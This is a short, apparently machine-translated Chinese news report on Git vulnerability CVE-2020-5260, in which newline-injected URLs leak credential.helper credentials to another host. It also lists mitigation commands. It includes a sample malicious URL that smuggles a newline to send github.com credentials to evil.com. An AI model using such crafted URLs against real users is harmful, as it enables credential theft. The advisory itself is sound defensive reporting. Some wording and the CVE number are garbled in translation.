Git 憑證外洩漏洞

已發表 分散式原始碼控制系統Git 2.26.1、2.25.3、2.24.2、2.23.2、2.22.3、2.21.2、2.20.3、2.19.4、2.18.3 和2.17.4 的修正版本,位於這消除了 脆弱性 (CVE-2020,5260)在處理程序“憑證.helper”,當 git 用戶端使用包含換行符的特殊格式的 URL 存取儲存庫時,這會導致憑證被傳送到錯誤的主機。 此漏洞可用於安排將來自另一台主機的憑證傳送至攻擊者控制的伺服器。

當指定像「https://evil.com?%0ahost=github.com/」這樣的 URL 時,連接到主機evill.com 時的憑證處理程序將傳遞為 github.com 指定的驗證參數。 執行「git clone」等操作時會出現此問題,包括處理子模組的 URL(例如,「git submodule update」將自動處理儲存庫中 .gitmodules 檔案中指定的 URL)。 在開發人員在沒有看到 URL 的情況下克隆儲存庫的情況下,該漏洞最為危險,例如,在使用子模組時,或在執行自動操作的系統中(例如,在套件建置腳本中)。

阻止新版本中的漏洞 禁止 在透過憑證交換協定傳輸的任何值中傳遞換行符。 對於發行版,您可以在頁面上追蹤軟體包更新的發布 Debian, Ubuntu, RHEL, SUSE/開放SUSE, Fedora, , FreeBSD的.

作為阻止問題的解決方法 建議 存取公共儲存庫時不要使用 credential.helper,並且不要在未經檢查的儲存庫的「--recurse-submodules」模式下使用「git clone」。 要完全停用 credential.helper 處理程序,這會 保存 並從中檢索密碼 緩存, 受保護 儲存庫 或帶有密碼的文件,您可以使用以下命令:

git config --unset credential.helper
git config --global --unset credential.helper
git config --system --unset credential.helper

來源: opennet.ru

添加評論